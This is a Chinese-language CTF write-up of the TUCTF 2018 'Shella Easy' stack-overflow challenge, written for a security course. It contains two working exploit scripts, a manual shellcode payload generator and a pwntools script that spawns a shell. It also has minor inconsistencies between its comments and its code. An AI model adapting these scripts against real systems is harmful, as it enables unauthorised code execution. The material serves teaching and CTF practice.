Write Up | TUCTF 2018 - Shella Easy
这是我当软件安全课程助教时,在栈溢出内容后布置的一道题目,二进制文件在此。题目很简单,是最基础的栈溢出问题。
首先对二进制进行简单的分析:
$ checksec shella-easy
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
NX是disable的状态,栈上可以执行代码,可以将shellcode直接放到栈上。
然后对二进制的代码逻辑进行分析,使用ghidra打开二进制文件,对main函数进行反编译,可以看到如下代码:
undefined4 main(void)
{
char local_4c [64];
int local_c;
setvbuf(stdout,(char *)0x0,2,0x14);
setvbuf(stdin,(char *)0x0,2,0x14);
local_c = -0x35014542;
printf("Yeah I\'ll have a %p with a side of fries thanks\n",local_4c);
gets(local_4c);
if (local_c != L'\xdeadbeef') {
/* WARNING: Subroutine does not return */
exit(0);
}
return 0;
}
代码漏洞明显,在读取local_4c的时候没有对长度进行限制,可以进行栈溢出攻击,通过覆盖main函数栈帧的返回地址为shellcode地址即可。不过,程序中存在条件分支对local_c进行检查,为了使我们溢出内容覆盖的返回地址能够被放置到EIP内,而非在此之前调用exit直接退出程序,我们还需要覆盖变量local_c的值为0xdeadbeef。该程序栈的布局如下图所示:
手动进行覆盖的方法
为了切合教学内容(SEED Lab)的攻击方式,先关闭ASLR使每次运行的local_4c变量地址固定,我们手动进行一次栈溢出。我们把shellcode放到local_4c里面,然后把0xdeadbeef放入到local_c里面,并且用local_4c变量的地址覆盖main函数原来的返回地址,这样main函数返回后就会运行我们的shellcode。整体代码如下:
import sys
shellcode = (
"\x31\xc0" # xorl %eax,%eax
"\x50" # %eax
"\x68""/zsh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
).encode('latin-1')
length = 0x40 + 0x8 + 0x4 + 0x4 # local_4c + local_c + ebp + ret addr
content = bytearray(0x90 for i in range(length))
content[0:len(shellcode)] = shellcode
val = 0xdeadbeef
ret = 0xffffd270 # local_4c的地址
content[64:68] = (val).to_bytes(4,byteorder='little')
content[76:80] = (ret).to_bytes(4, byteorder='little')
with open('badfile','wb') as fd:
fd.write(content)
执行完成后生成badfile文件,将其内容放入标准输入流执行pwn1,即可获得shell:
# https://stackoverflow.com/questions/30972544/gdb-exiting-instead-of-spawning-a-shell
{cat badfile; cat - } | shella-easy
上述方法需要我们关闭地址随机化,手动填入local_4c的地址以生成合适的badfile。实际的ctf题目是和远程服务器上的二进制进行交互并获得flag,我们不能关闭远程服务器的ASLR。这样,我们就无法预测下一次执行时local_4c的地址并事先生成badfile。如果使用pwntools,可以实时与漏洞程序交互,根据漏洞程序打印出的local_4c地址生成传入标准输入的内容。
使用pwntools的方法
from pwn import *
sh = process('./shella-easy')
addr = sh.recvuntil(b'thanks\n').split(b' ')[4][2:]
addr = int(addr, 16)
shellcode = asm(shellcraft.i386.linux.sh())
payload = ''.encode()
payload += shellcode
payload += 'a'.encode()*(0x40-len(shellcode))
payload += p32(0xDEADBEEF) # -559038737
payload += 'a'.encode()*8
payload += p32(addr)
sh.sendline(payload)
sh.interactive()
在上述脚本中,我们启动了一个pwn1的进程,读取打印出的local_4c地址并实时生成相应的payload传递给标准输入流,以获取shell。